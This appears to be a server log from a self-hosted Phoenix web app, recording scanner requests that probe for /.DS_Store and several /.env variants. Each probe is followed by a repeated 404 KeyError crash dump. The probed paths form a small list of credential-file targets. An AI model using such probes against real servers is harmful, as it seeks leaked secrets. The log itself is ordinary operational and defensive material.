not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9519.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50024}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9520.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAQODqnqiYM8AAbdC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9519.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50024}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9519.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50024}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9520.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAQODqnqiYM8AAbdC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541] (truncated) 15:21:39.068 [info] GET /.env~ 15:21:39.068 [debug] QUERY OK source="settings" db=0.1ms idle=473.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.068 [debug] QUERY OK source="settings" db=0.0ms idle=237.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.068 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:39.069 [error] #PID<0.9522.0> running PinchflatWeb.Endpoint (connection #PID<0.9521.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9521.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env~", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50040}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9522.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAQpB4KLPkCUAAbeC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9521.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env~", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50040}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9521.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env~", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50040}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9522.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAQpB4KLPkCUAAbeC"} ], scheme: :http, script_name: [], secret_key_base (truncated) 15:21:39.303 [info] GET /.env.example 15:21:39.303 [debug] QUERY OK source="settings" db=0.1ms idle=471.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.303 [debug] QUERY OK source="settings" db=0.0ms idle=348.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.303 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:39.304 [error] #PID<0.9524.0> running PinchflatWeb.Endpoint (connection #PID<0.9523.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9523.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50044}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9524.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDARhExMPGhFEAAbfC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9523.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50044}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9523.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50044}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9524.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDARhExMPGhFEAAbfC"} ], scheme: : (truncated) 15:21:39.540 [info] GET /.env.sample 15:21:39.540 [debug] QUERY OK source="settings" db=0.1ms idle=471.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.540 [debug] QUERY OK source="settings" db=0.0ms idle=471.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.540 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:39.540 [error] #PID<0.9526.0> running PinchflatWeb.Endpoint (connection #PID<0.9525.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9525.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9526.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDASZf4EXBIyIAAbgC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9525.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9525.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9526.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDASZf4EXBIyIAAbgC"} ], scheme: :http, (truncated) 15:21:39.776 [info] GET /.env.dist 15:21:39.776 [debug] QUERY OK source="settings" db=0.2ms idle=472.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.776 [debug] QUERY OK source="settings" db=0.0ms idle=472.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 